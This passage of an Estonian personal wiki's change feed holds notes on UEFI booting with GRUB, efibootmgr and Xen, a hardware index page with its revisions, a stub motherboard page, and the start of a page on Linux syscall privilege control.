ja seejärel tuum, initrd ning arvuti bootida&lt;br /&gt;
&lt;br /&gt;
 grub&amp;gt; linux (lvm/pve-root)/boot/vmlinuz-2.6.32-37-pve ro root=/dev/mapper/pve-root console=ttyS0,9600&lt;br /&gt;
 grub&amp;gt; initrd (lvm/pve-root)/boot/initrd.img-2.6.32-37-pve&lt;br /&gt;
 grub&amp;gt; boot&lt;br /&gt;
&lt;br /&gt;
Tulemusena peaks arvuti töötama.&lt;br /&gt;
&lt;br /&gt;
===Märkused===&lt;br /&gt;
&lt;br /&gt;
UEFI kasutamiseks tuleb arvuti käivitada UEFI režiimis. Võib-olla on arvuteid, mida ei saagi muul viisil käivitada, aga tundub, et 2015 aasta kevadel on nö kahe-režiimsed arvutid üsna levinud&lt;br /&gt;
&lt;br /&gt;
 TODO&lt;br /&gt;
&lt;br /&gt;
Kui selline arvuti on käivitatud nt SystemRescueCd plaadilt BIOS alla, siis paistab efibootmgr väljund sedasi&lt;br /&gt;
&lt;br /&gt;
 Fatal: Couldn't open either sysfs or procfs directories for accessing EFI variables&lt;br /&gt;
&lt;br /&gt;
* Kui ühte ja sama arvutit käivitada nö UEFI ja mitte-UEFI režiimis (nt laadides sama tuumaga tftp serverilt), siis paistavad dmesg peal sarnased erinevused&lt;br /&gt;
&lt;br /&gt;
 # diff /var/tmp/uefita.log /var/tmp/uefiga.log&lt;br /&gt;
 ..&lt;br /&gt;
 &amp;lt; Command line: initrd=initrd.img-2.6.32-37-pve root=/dev/mapper/pve-root ro console=ttyS0,9600 BOOT_IMAGE=vmlinuz-2.6.32-37-pve &lt;br /&gt;
 ---&lt;br /&gt;
 &amp;gt; Command line: BOOT_IMAGE=(lvm/pve-root)/boot/vmlinuz-2.6.32-37-pve ro root=/dev/mapper/pve-root console=ttyS0,9600&lt;br /&gt;
 10,12c10,11&lt;br /&gt;
 &amp;lt;  BIOS-e820: 0000000000000000 - 000000000009bc00 (usable)&lt;br /&gt;
 &amp;lt;  BIOS-e820: 000000000009bc00 - 00000000000a0000 (reserved)&lt;br /&gt;
 &amp;lt;  BIOS-e820: 00000000000e0000 - 0000000000100000 (reserved)&lt;br /&gt;
 ---&lt;br /&gt;
 &amp;gt;  BIOS-e820: 0000000000000000 - 00000000000a0000 (usable)&lt;br /&gt;
 &amp;gt;  BIOS-e820: 00000000000a0000 - 00000000000c0000 (reserved)&lt;br /&gt;
 ..&lt;br /&gt;
 31a32,118&lt;br /&gt;
 &amp;gt; EFI v2.31 by American Megatrends&lt;br /&gt;
 &amp;gt;                              BIOS ID: S1200RP.86B.01.03.0004.201308211450&lt;br /&gt;
 &amp;gt;  ACPI 2.0=0xbefeff98  SMBIOS=0xf0440 &lt;br /&gt;
 &amp;gt; EFI: mem00: type=3, attr=0xf, range=[0x0000000000000000-0x0000000000008000) (0MB)&lt;br /&gt;
 &amp;gt; EFI: mem01: type=7, attr=0xf, range=[0x0000000000008000-0x000000000003f000) (0MB)&lt;br /&gt;
 &amp;gt; EFI: mem02: type=4, attr=0xf, range=[0x000000000003f000-0x0000000000040000) (0MB)&lt;br /&gt;
 &amp;gt; EFI: mem03: type=3, attr=0xf, range=[0x0000000000040000-0x00000000000a0000) (0MB)&lt;br /&gt;
 &amp;gt; EFI: mem04: type=2, attr=0xf, range=[0x0000000000100000-0x0000000001566000) (20MB)&lt;br /&gt;
 ...&lt;br /&gt;
 &amp;gt; efifb: probing for efifb&lt;br /&gt;
 &amp;gt; efifb: framebuffer at 0xc2000000, mapped to 0xffffc90009e00000, using 1920k, total 1920k&lt;br /&gt;
 &amp;gt; efifb: mode is 800x600x32, linelength=3200, pages=1&lt;br /&gt;
 &amp;gt; efifb: scrolling: redraw&lt;br /&gt;
 &amp;gt; efifb: Truecolor: size=8:8:8:8, shift=24:16:8:0&lt;br /&gt;
 &amp;gt; Refined TSC clocksource calibration: 3292.375 MHz.&lt;br /&gt;
 &amp;gt; Console: switching to colour frame buffer device 100x37&lt;br /&gt;
 &amp;gt; Switching to clocksource tsc&lt;br /&gt;
 &amp;gt; fb0: EFI VGA frame buffer device&lt;br /&gt;
 ....&lt;br /&gt;
&lt;br /&gt;
efivar programmiga saab uurida EFI muutujaid&lt;br /&gt;
&lt;br /&gt;
 # apt-get install efivar&lt;br /&gt;
&lt;br /&gt;
mis paistab sedasi&lt;br /&gt;
&lt;br /&gt;
 # efivar -l&lt;br /&gt;
 8be4df61-93ca-11d2-aa0d-00e098032b8c-BootCurrent&lt;br /&gt;
 8be4df61-93ca-11d2-aa0d-00e098032b8c-QuickLookBoot&lt;br /&gt;
 8be4df61-93ca-11d2-aa0d-00e098032b8c-ErrOutDev&lt;br /&gt;
 8be4df61-93ca-11d2-aa0d-00e098032b8c-ConOut&lt;br /&gt;
 8be4df61-93ca-11d2-aa0d-00e098032b8c-ConOutDev&lt;br /&gt;
 8be4df61-93ca-11d2-aa0d-00e098032b8c-ConInDev&lt;br /&gt;
 8be4df61-93ca-11d2-aa0d-00e098032b8c-ConIn&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
* Tundub, et mingil juhul ei õnnestus efibootmgr -c ... abil lisada jääval boot sissekannet ja peale rebooti arvuti ise kuidagi avastab mingid /boot/efi failisüsteemi sissekanded ja kasutab valikuliselt neid (nt arvutil https://www.msi.com/Motherboard/H110M-PRO-VD/Overview).&lt;br /&gt;
&lt;br /&gt;
* vahel ütleb efibootmgr nii&lt;br /&gt;
&lt;br /&gt;
 # efibootmgr -b 0 -B&lt;br /&gt;
 Could not delete variable: Read-only file system&lt;br /&gt;
&lt;br /&gt;
Aitab öelda&lt;br /&gt;
&lt;br /&gt;
 # mount -o remount,rw /sys/firmware/efi/efivars&lt;br /&gt;
&lt;br /&gt;
===startup.nsh===&lt;br /&gt;
&lt;br /&gt;
Tavaliselt püütakse nö efi shelli boot valiku tegemisel käivitada vaikimisi efi failisüsteemi juurikas asuvat skripti startup.nsh, mille sisu võiks olla nt&lt;br /&gt;
&lt;br /&gt;
 fs0:&lt;br /&gt;
 \EFI\debian\grubx64.efi&lt;br /&gt;
&lt;br /&gt;
===UEFI kasutamise iseärasusest erineval riistvaral===&lt;br /&gt;
&lt;br /&gt;
Kuigi ootus võiks olla, et UEFI on standard, mis realiseerib nö ühetaolise kasutuskogemuse, on erinevate põlvkondade ja erinevate tootjate arvutid selles mõttes üsna erinevad.&lt;br /&gt;
&lt;br /&gt;
====HP ProBook 6450b 68CDE laptop====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Partitsioonide ettevalmistamine===&lt;br /&gt;
&lt;br /&gt;
 # parted /dev/sda&lt;br /&gt;
 (parted) unit s&lt;br /&gt;
 (parted) mklabel gpt&lt;br /&gt;
 (parted) mkpart esp 2048 411647&lt;br /&gt;
 (parted) mkpart boot 411648 1435647&lt;br /&gt;
&lt;br /&gt;
 # fdisk /dev/sda&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
Tulemusena&lt;br /&gt;
&lt;br /&gt;
 % parted /dev/sda p&lt;br /&gt;
 Model: DELL PERC H310 (scsi)&lt;br /&gt;
 Disk /dev/sda: 299GB&lt;br /&gt;
 Sector size (logical/physical): 512B/512B&lt;br /&gt;
 Partition Table: gpt&lt;br /&gt;
 Disk Flags: &lt;br /&gt;
 &lt;br /&gt;
 Number  Start   End    Size   File system  Name  Flags&lt;br /&gt;
  1      1049kB  211MB  210MB               esp   boot, esp&lt;br /&gt;
  2      211MB   735MB  524MB               boot&lt;br /&gt;
  3      735MB   299GB  299GB                     lvm&lt;br /&gt;
&lt;br /&gt;
===Xen käivitamine UEFI keskkonnas xen-4.8-amd64.efi rakendusega===&lt;br /&gt;
&lt;br /&gt;
Tundub, et 2016 novembris on Debian v. 9 Stretch paketihalduses Xen v. 4.8.0 kohal ja ka seal sisaldub xen-4.8-amd64.efi rakendus. Üks viis seda käivitada peaks olema&lt;br /&gt;
&lt;br /&gt;
 UEFI -&amp;gt; XEN.EFI -&amp;gt; TUUM -&amp;gt; INITRAMDISK&lt;br /&gt;
&lt;br /&gt;
* moodustada efi failisüsteemi kataloog xen&lt;br /&gt;
&lt;br /&gt;
 # mkdir /boot/efi/EFI/xen&lt;br /&gt;
&lt;br /&gt;
* kopeerida sinna xen efi rakendus, tuum ja initrd&lt;br /&gt;
&lt;br /&gt;
 # cp xen-4.8-amd64.efi vmlinuz* initrd* /boot/efi/EFI/xen&lt;br /&gt;
&lt;br /&gt;
* moodustada xen efi rakenduse seadistusfail, midagi sellist&lt;br /&gt;
&lt;br /&gt;
 # cat xen-4.8-amd64.cfg&lt;br /&gt;
 [global]&lt;br /&gt;
 default=debian9&lt;br /&gt;
 &lt;br /&gt;
 [debian9]&lt;br /&gt;
 options=console=vga,com1 com1=9600 loglvl=all noreboot&lt;br /&gt;
 kernel=vmlinuz-4.8.0-1-amd64 ignore_loglevel root=/dev/mapper/system-root ro nosetmode&lt;br /&gt;
 ramdisk=initrd.img-4.8.0-1-amd64&lt;br /&gt;
&lt;br /&gt;
* lisada efibootmgr abil boot valik arvuti nvram'i (alternatiiv on arvuti käivitumisel käsitsi jõuda kõnealuse efi rakenduse käivitamiseni)&lt;br /&gt;
&lt;br /&gt;
 # efibootmgr -L Xen -l &amp;quot;\EFI\xen\xen-4.8-amd64.efi&amp;quot; -c&lt;br /&gt;
&lt;br /&gt;
Tulemusena käivitatakse Xen ja dom0 keskkond.&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* http://wiki.xenproject.org/wiki/Xen_EFI&lt;br /&gt;
&lt;br /&gt;
===Xen käivitamine UEFI keskkonnas grubx64.efi rakendusega===&lt;br /&gt;
&lt;br /&gt;
Osutub, et Xen saab UEFI keskkonnas käivitada ka nö läbi grubx64.efi rakenduse&lt;br /&gt;
&lt;br /&gt;
 UEFI -&amp;gt; GRUB.EFI -&amp;gt; XEN.EFI -&amp;gt; TUUM -&amp;gt; INITRAMDISK&lt;br /&gt;
&lt;br /&gt;
Selleks sobib kasutada nt sellist grub seadistust&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /etc/grub.d/40_custom &lt;br /&gt;
#!/bin/sh&lt;br /&gt;
exec tail -n +3 $0&lt;br /&gt;
# This file provides an easy way to add custom menu entries.  Simply type the&lt;br /&gt;
# menu entries you want to add after this comment.  Be careful not to change&lt;br /&gt;
# the 'exec tail' line above.&lt;br /&gt;
&lt;br /&gt;
menuentry &amp;quot;Xen EFI&amp;quot; {&lt;br /&gt;
    insmod part_gpt&lt;br /&gt;
    insmod search_fs_uuid&lt;br /&gt;
    insmod chain&lt;br /&gt;
    insmod fat&lt;br /&gt;
    set root=(hd0,gpt1)&lt;br /&gt;
    chainloader /efi/xen/xen-4.8-amd64.efi&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Selleks, et 'Xen EFI' oleks vaikevalik alglaaduril sobib&lt;br /&gt;
&lt;br /&gt;
* kasutada /etc/default/grub.d/xen.cfg failis rida&lt;br /&gt;
&lt;br /&gt;
 XEN_OVERRIDE_GRUB_DEFAULT=0&lt;br /&gt;
&lt;br /&gt;
* kasutada failis /etc/default/grub rida&lt;br /&gt;
&lt;br /&gt;
 GRUB_DEFAULT=&amp;quot;Xen EFI&amp;quot;&lt;br /&gt;
&lt;br /&gt;
* öelda&lt;br /&gt;
&lt;br /&gt;
 # update-grub&lt;br /&gt;
&lt;br /&gt;
Osutub, et Xen ei saa UEFI keskkonnas käivitada käivitada läbi grubx64.efi rakenduse hüperviisorit /boot/xen-4.8-amd64.gz.&lt;br /&gt;
&lt;br /&gt;
===Multiboot===&lt;br /&gt;
&lt;br /&gt;
Töötava UEFI multiboot süsteemi käivitamisel on muu hulgas kolm sellist UEFI Boot valikut, nad kõik jagavad ühte ja sama ESP failisüsteemi&lt;br /&gt;
&lt;br /&gt;
* debian&lt;br /&gt;
* ubuntu_1404&lt;br /&gt;
* ubuntu_1604&lt;br /&gt;
&lt;br /&gt;
Sellisse UEFI multiboot süsteemi efi kataloogis asuvad grub efi rakendused paistavad nii&lt;br /&gt;
&lt;br /&gt;
 # ls -ld /boot/efi/EFI/*/*&lt;br /&gt;
 -rwx------ 1 root root 143360 Apr  2  2015 /boot/efi/EFI/debian/grubx64.efi&lt;br /&gt;
 -rwx------ 1 root root 143360 Mar 30  2015 /boot/efi/EFI/ubuntu_1404/grubx64.efi&lt;br /&gt;
 -rwx------ 1 root root 143360 Apr  2  2015 /boot/efi/EFI/ubuntu_1604/grubx64.efi&lt;br /&gt;
&lt;br /&gt;
kusjuures Debian ja Ubuntu operatsioonisüsteemid juurfailisüsteemid asuvad LVM peal (kus asub ka nö klassikaline /boot kataloog) on&lt;br /&gt;
&lt;br /&gt;
* /dev/system/debian&lt;br /&gt;
* /dev/system/ubuntu_1404&lt;br /&gt;
* /dev/system/ubuntu_1604&lt;br /&gt;
&lt;br /&gt;
Järgmise multiboot keskkonna tekitamiseks tuleb nt&lt;br /&gt;
&lt;br /&gt;
* moodustada /dev/system/debian_test ja kopeerida sinna töötava debiani juurfailisüsteem&lt;br /&gt;
* bootida käsitsi mingi olemasoleva grub abil uus keskkond (kopeerides vastavasse /boot kataloogi uue süsteemi initrd ja vmlinuz)&lt;br /&gt;
* ühendada külge /dev/sda -&amp;gt; /boot/efi&lt;br /&gt;
* keskkonna enda sees öelda, tulemusena genereeritakse /boot/efi/EFI/debian_test/grubx64.efi&lt;br /&gt;
&lt;br /&gt;
 # grub-install --target=x86_64-efi --efi-directory=/boot/efi --bootloader-id=debian_test --recheck&lt;br /&gt;
&lt;br /&gt;
* uuendada grub.cfg (tõenäoliselt kasutatakse siis uusi uuid väärtusi jms)&lt;br /&gt;
&lt;br /&gt;
 # update-grub&lt;br /&gt;
&lt;br /&gt;
Tulemusena on UEFI Setup boot valikute nimekirjas järgmine sissekanne lisaks. Seda näeb ka efibootmgr väljundis.&lt;br /&gt;
&lt;br /&gt;
Probleem: Ebaselge selle asja juures on, et kuidas iga /boot/efi all olev grub efi rakendus teab minna just edasi tegelema oma lvm köite pealt /boot/grub kataloogiga (lugeda sealt konfi). Tundub, et kui kõnealuse süsteemi alt öelda grub-install, siis nii juhtub.&lt;br /&gt;
&lt;br /&gt;
===20220317 - efi is not a directory anomaalia===&lt;br /&gt;
&lt;br /&gt;
Rutiinse kõvaketaste vahetuse tulemusena arvuti ei uefi-bootinud enam. EFI Shell peal on teade, et EFI ei ole kataloog. Abistas viidatud tekst ja eriti EFI sissekande eemaldamine, seejärel nö ilmus nähtavale õige kataloog-EFI.&lt;br /&gt;
&lt;br /&gt;
[[Fail:Uefi-16.gif]]&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://bbs.archlinux.org/viewtopic.php?id=271171&lt;br /&gt;
&lt;br /&gt;
===Videokaardi kasutamine===&lt;br /&gt;
&lt;br /&gt;
Füüsilise arvuti puhul võib olla väljakutsuv videokaardiga töötamine, st eelduseks on piisavalt uus videokaart, praktiliselt nii aastat 2015 ja edasi toodetud kaardid võiksid sobida. Vanemate kaartide puhul saab peale arvuti BIOS/Setup keskkonnas CSM väljalülitamist teate&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
Videokaardi töötamise kriteeriumiks on GOP (Graphics Output Protocol) protokolli tugi. Lekt ütleb&lt;br /&gt;
&lt;br /&gt;
'When you try to switch to UEFI mode, the motherboard looks for a GOP driver inside the video card’s firmware to draw the initial picture.&lt;br /&gt;
&lt;br /&gt;
The Problem: The GeForce 7000 series was released about 6 years before UEFI became the industry standard. It relies on Legacy BIOS INT 10h routines to show a picture.&lt;br /&gt;
&lt;br /&gt;
The Result: Because the motherboard cannot find a UEFI-compatible driver on the card, it automatically re-enables the CSM (Compatibility Support Module). It is essentially saying, &amp;quot;I have to stay in Legacy mode, or I won't be able to show you a screen at all.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* https://www.happyassassin.net/2014/01/25/uefi-boot-how-does-that-actually-work-then/&lt;br /&gt;
* Google - EFINetworkStackGettingStarted.pdf&lt;br /&gt;
* http://www.zdnet.com/article/hands-on-linux-uefi-multi-boot-my-way/&lt;br /&gt;
* https://github.com/openSUSE/kiwi/wiki/Setup-PXE-boot-with-EFI-using-grub2&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=Konstruktori_arvuti_-_ASUS_TUF_GAMING_B550-PLUS_%2B_AMD_5500&amp;diff=3452</id>
		<title>Konstruktori arvuti - ASUS TUF GAMING B550-PLUS + AMD 5500</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=Konstruktori_arvuti_-_ASUS_TUF_GAMING_B550-PLUS_%2B_AMD_5500&amp;diff=3452"/>
		<updated>2026-05-05T04:02:27Z</updated>

		<summary type="html">&lt;p&gt;Imre: Uus lehekülg: '===Sissejuhatus===  TODO  ===BIOS uuendamine===  TODO  ===Kasulikud lisamaterjalid===  * TODO'&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Sissejuhatus===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===BIOS uuendamine===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=Riistvara&amp;diff=3451</id>
		<title>Riistvara</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=Riistvara&amp;diff=3451"/>
		<updated>2026-05-05T04:01:52Z</updated>

		<summary type="html">&lt;p&gt;Imre: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;* [[:SLM2008 kommutaatori kasutamine]]&lt;br /&gt;
* [[:Riistvaraliste RAID kontrollerite kasutamine]]&lt;br /&gt;
* [[:HDD ketta kasutamine]]&lt;br /&gt;
* [[:SSD ketta kasutamine]]&lt;br /&gt;
* [[:NVMe ketta kasutamine]]&lt;br /&gt;
* [[:Monitor]]&lt;br /&gt;
* [[:Kettakast]]&lt;br /&gt;
* [[:Arvuti RAM mälu]]&lt;br /&gt;
* [[:CD ja DVD]]&lt;br /&gt;
* [[:Katkise kõvakettaga töötamine]]&lt;br /&gt;
* [[:Intel Active Management Technology]]&lt;br /&gt;
* [[:Nvidia videokaart]]&lt;br /&gt;
* [[:Digitemp]]&lt;br /&gt;
* [[:Dell MD3400 kettakast]]&lt;br /&gt;
* [[:PCIe]]&lt;br /&gt;
* [[:USB]]&lt;br /&gt;
* [[:SFF-xxxx liidestega salvestusseadmete kasutamine]]&lt;br /&gt;
* [[:Katkise arvutiga töötamine]]&lt;br /&gt;
* [[:Thunderbolt]]&lt;br /&gt;
* [[:ACPI]]&lt;br /&gt;
* [[:APIC]]&lt;br /&gt;
* [[:Timer]]&lt;br /&gt;
* [[:Super I/O Chip]]&lt;br /&gt;
* [[:udev]]&lt;br /&gt;
&lt;br /&gt;
Protsessorid&lt;br /&gt;
&lt;br /&gt;
* [[Generic protsessor]]&lt;br /&gt;
* [[Intel protsessor]]&lt;br /&gt;
* [[AMD protsessor]]&lt;br /&gt;
&lt;br /&gt;
Arvutid&lt;br /&gt;
&lt;br /&gt;
* [[:Dell]]&lt;br /&gt;
* [[:Supermicro 1019S-MC0T]]&lt;br /&gt;
* [[:Supermicro AS-1115CS-TNR]]&lt;br /&gt;
* [[:HPE ProLiant DL360 Gen10]]&lt;br /&gt;
* [[:ECC toega arvuti komplekteerimine]]&lt;br /&gt;
* [[:Konstruktori arvuti - Asrock Taichi X570 + AMD 5500]]&lt;br /&gt;
* [[:Konstruktori arvuti - ASUS WRX90E + AMD Threadripper PRO 7965WX]]&lt;br /&gt;
* [[:Konstruktori arvuti - ASUS TUF GAMING B550-PLUS + AMD 5500]]&lt;br /&gt;
&lt;br /&gt;
Kommutaatorid&lt;br /&gt;
&lt;br /&gt;
* [[:Cisco SG300-20 kommutaator]]&lt;br /&gt;
* [[:Linksys SRW248G4 kommutaator]]&lt;br /&gt;
* [[:3Com SuperStack II Switch]]&lt;br /&gt;
* [[:HP 1820 - 48 G switch]]&lt;br /&gt;
* [[:Ruckus R500]]&lt;br /&gt;
* [[:Trendnet TEG-2248WS]]&lt;br /&gt;
* [[:HP 1620-24G]]&lt;br /&gt;
* [[:HP 1920G POE]]&lt;br /&gt;
&lt;br /&gt;
Puhvertoiteallikate kasutamine&lt;br /&gt;
&lt;br /&gt;
* [[:Puhvertoiteallikas]]&lt;br /&gt;
* [[:NUT tarkvara kasutamine Debian Squeeze operatsioonisüsteemiga]]&lt;br /&gt;
* [[:NUT tarkvara kasutamine operatsioonisüsteemiga OpenBSD]]&lt;br /&gt;
* [[:Apcupsd tarkvara ja MODBUS protokolli kasutamine operatsioonisüsteemiga Debian]]&lt;br /&gt;
* [[:NUT kasutamine erinevate UPS mudelitega]]&lt;br /&gt;
&lt;br /&gt;
Võrgukaardid&lt;br /&gt;
&lt;br /&gt;
* [[:Võrgukaartidest üldiselt]]&lt;br /&gt;
* [[:Intel E810]]&lt;br /&gt;
* [[:Mellanox ConnectX-6 Lx]]&lt;br /&gt;
* [[:Mellanox ConnectX-6 Dx]]&lt;br /&gt;
* [[:Tarkvaraline RDMA]]&lt;br /&gt;
&lt;br /&gt;
ARM&lt;br /&gt;
&lt;br /&gt;
* [[ARM - server]]&lt;br /&gt;
* [[ARM - raspberry pi]]&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=Riistvara&amp;diff=3450</id>
		<title>Riistvara</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=Riistvara&amp;diff=3450"/>
		<updated>2026-05-05T03:59:41Z</updated>

		<summary type="html">&lt;p&gt;Imre: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;* [[:SLM2008 kommutaatori kasutamine]]&lt;br /&gt;
* [[:Riistvaraliste RAID kontrollerite kasutamine]]&lt;br /&gt;
* [[:HDD ketta kasutamine]]&lt;br /&gt;
* [[:SSD ketta kasutamine]]&lt;br /&gt;
* [[:NVMe ketta kasutamine]]&lt;br /&gt;
* [[:Monitor]]&lt;br /&gt;
* [[:Kettakast]]&lt;br /&gt;
* [[:Arvuti RAM mälu]]&lt;br /&gt;
* [[:CD ja DVD]]&lt;br /&gt;
* [[:Katkise kõvakettaga töötamine]]&lt;br /&gt;
* [[:Intel Active Management Technology]]&lt;br /&gt;
* [[:Nvidia videokaart]]&lt;br /&gt;
* [[:Digitemp]]&lt;br /&gt;
* [[:Dell MD3400 kettakast]]&lt;br /&gt;
* [[:PCIe]]&lt;br /&gt;
* [[:USB]]&lt;br /&gt;
* [[:SFF-xxxx liidestega salvestusseadmete kasutamine]]&lt;br /&gt;
* [[:Katkise arvutiga töötamine]]&lt;br /&gt;
* [[:Thunderbolt]]&lt;br /&gt;
* [[:ACPI]]&lt;br /&gt;
* [[:APIC]]&lt;br /&gt;
* [[:Timer]]&lt;br /&gt;
* [[:Super I/O Chip]]&lt;br /&gt;
* [[:udev]]&lt;br /&gt;
&lt;br /&gt;
Protsessorid&lt;br /&gt;
&lt;br /&gt;
* [[Generic protsessor]]&lt;br /&gt;
* [[Intel protsessor]]&lt;br /&gt;
* [[AMD protsessor]]&lt;br /&gt;
&lt;br /&gt;
Arvutid&lt;br /&gt;
&lt;br /&gt;
* [[:Dell]]&lt;br /&gt;
* [[:Supermicro 1019S-MC0T]]&lt;br /&gt;
* [[:Supermicro AS-1115CS-TNR]]&lt;br /&gt;
* [[:HPE ProLiant DL360 Gen10]]&lt;br /&gt;
* [[:ECC toega arvuti komplekteerimine]]&lt;br /&gt;
* [[:Konstruktori arvuti - Asrock Taichi X570 + AMD 5500]]&lt;br /&gt;
* [[:Konstruktori arvuti - ASUS WRX90E + AMD Threadripper PRO 7965WX]]&lt;br /&gt;
* [[:Konstruktori arvuti - ASUS TUF + AMD 5500]]&lt;br /&gt;
&lt;br /&gt;
Kommutaatorid&lt;br /&gt;
&lt;br /&gt;
* [[:Cisco SG300-20 kommutaator]]&lt;br /&gt;
* [[:Linksys SRW248G4 kommutaator]]&lt;br /&gt;
* [[:3Com SuperStack II Switch]]&lt;br /&gt;
* [[:HP 1820 - 48 G switch]]&lt;br /&gt;
* [[:Ruckus R500]]&lt;br /&gt;
* [[:Trendnet TEG-2248WS]]&lt;br /&gt;
* [[:HP 1620-24G]]&lt;br /&gt;
* [[:HP 1920G POE]]&lt;br /&gt;
&lt;br /&gt;
Puhvertoiteallikate kasutamine&lt;br /&gt;
&lt;br /&gt;
* [[:Puhvertoiteallikas]]&lt;br /&gt;
* [[:NUT tarkvara kasutamine Debian Squeeze operatsioonisüsteemiga]]&lt;br /&gt;
* [[:NUT tarkvara kasutamine operatsioonisüsteemiga OpenBSD]]&lt;br /&gt;
* [[:Apcupsd tarkvara ja MODBUS protokolli kasutamine operatsioonisüsteemiga Debian]]&lt;br /&gt;
* [[:NUT kasutamine erinevate UPS mudelitega]]&lt;br /&gt;
&lt;br /&gt;
Võrgukaardid&lt;br /&gt;
&lt;br /&gt;
* [[:Võrgukaartidest üldiselt]]&lt;br /&gt;
* [[:Intel E810]]&lt;br /&gt;
* [[:Mellanox ConnectX-6 Lx]]&lt;br /&gt;
* [[:Mellanox ConnectX-6 Dx]]&lt;br /&gt;
* [[:Tarkvaraline RDMA]]&lt;br /&gt;
&lt;br /&gt;
ARM&lt;br /&gt;
&lt;br /&gt;
* [[ARM - server]]&lt;br /&gt;
* [[ARM - raspberry pi]]&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=Linux_kernel_kontrollib_tegevusi&amp;diff=3449</id>
		<title>Linux kernel kontrollib tegevusi</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=Linux_kernel_kontrollib_tegevusi&amp;diff=3449"/>
		<updated>2026-05-04T15:31:57Z</updated>

		<summary type="html">&lt;p&gt;Imre: /* syscall */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Sissejuhatus===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Mõisted===&lt;br /&gt;
&lt;br /&gt;
* seccomp&lt;br /&gt;
* capabilities&lt;br /&gt;
* dac/acl&lt;br /&gt;
* lsm&lt;br /&gt;
&lt;br /&gt;
===Tööpõhimõte===&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* protsess on arvutis esinev kõige olulisem nähtus - kõik muu on nö teda teenindav personal (riistvara (mälu, protsessor, storage, võrk), kernel, kasutajad-grupid, namespace-capabilities-seccomp-syscalls-jms raamistik)&lt;br /&gt;
* arvuti (prosessi) ülesandaks on üldiselt teisendada sisend väljundiks (kasutades seejuures riistara, tarkvara st teisi abistavaid protsesse jms)&lt;br /&gt;
* üldiselt tahab protsess kasutada mingit ressurssi ja seda on vaja kontrollida (nt peab süsteem otsustama, kas seda kasutamist lubada)&lt;br /&gt;
* privileegid (st õigus midagi teha, midagi kasutada) pole mitte niivõrd kasutajal, aga privileegid on protsessil&lt;br /&gt;
* protsessi privileegid tulenevad muu hulgast kolmest asjaolust: 1. seccomp syscall tulemüür, 2. capabilities, 3. lsm&lt;br /&gt;
* capability'le vastab komplekt syscallisid (tavaliselt)&lt;br /&gt;
* system call (syscall, 'make system call') - xxx&lt;br /&gt;
&lt;br /&gt;
Syscallisid on üldiselt kahesuguseid&lt;br /&gt;
&lt;br /&gt;
* Automatic Syscalls: Actions like mmap(), read(), or brk() are considered &amp;quot;safe.&amp;quot; The kernel assumes that if you have the memory or the file handle, you can perform these actions. No special &amp;quot;permission&amp;quot; is needed beyond standard file permissions.&lt;br /&gt;
* Restricted Syscalls: Actions like clock_adjtime(), reboot(), or mount() are &amp;quot;dangerous.&amp;quot; Historically, the kernel had a simple rule: if (uid == 0) (Root), allow; else, deny.&lt;br /&gt;
&lt;br /&gt;
Väited syscall kasutamise kohta&lt;br /&gt;
&lt;br /&gt;
* kui tavakasutaja tegeleb omale kuuluva tekstifaili sisu muutmisega, siis ta esmalt sooritab open() syscalli ja seda üldiselt lubatakse kõigil kasutajatel teha, seejuures saab süsteem teada, kas kasutajal on lubatud kõnealuse failiga tegeleda ja mil viisil jne; ja edasi kasutaja ütleb read() syscall'i: read() iseenesest vajab tugevaid lube töötamiseks, aga süsteem tuletab loa protsessi omaniku/grupi kõrvutamisest faili omaniku/grupi ja loabittidega - näiliselt tundub, et read(), write() jt selliste syscallide kasutamine toimub väga liberaalselt&lt;br /&gt;
* kui kasutaja root käivitab tekstireadaktori asub tegelema tekstifaili sisu muutmisega, siis toimub sarnane kontroll kuid see annab väga jaatava vastuse kuna kasutaja on root (uid=0) - kernelil on kasutada loogika, et kui kasutaja on root, siis see on samaväärne kõigi capacitite olemasoluga&lt;br /&gt;
&lt;br /&gt;
Joonis&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
   töötav protsess  -&amp;gt;  syscall liides        -&amp;gt; kernel               -&amp;gt;    ressurss&lt;br /&gt;
 &lt;br /&gt;
                    ^                              ^                  ^&lt;br /&gt;
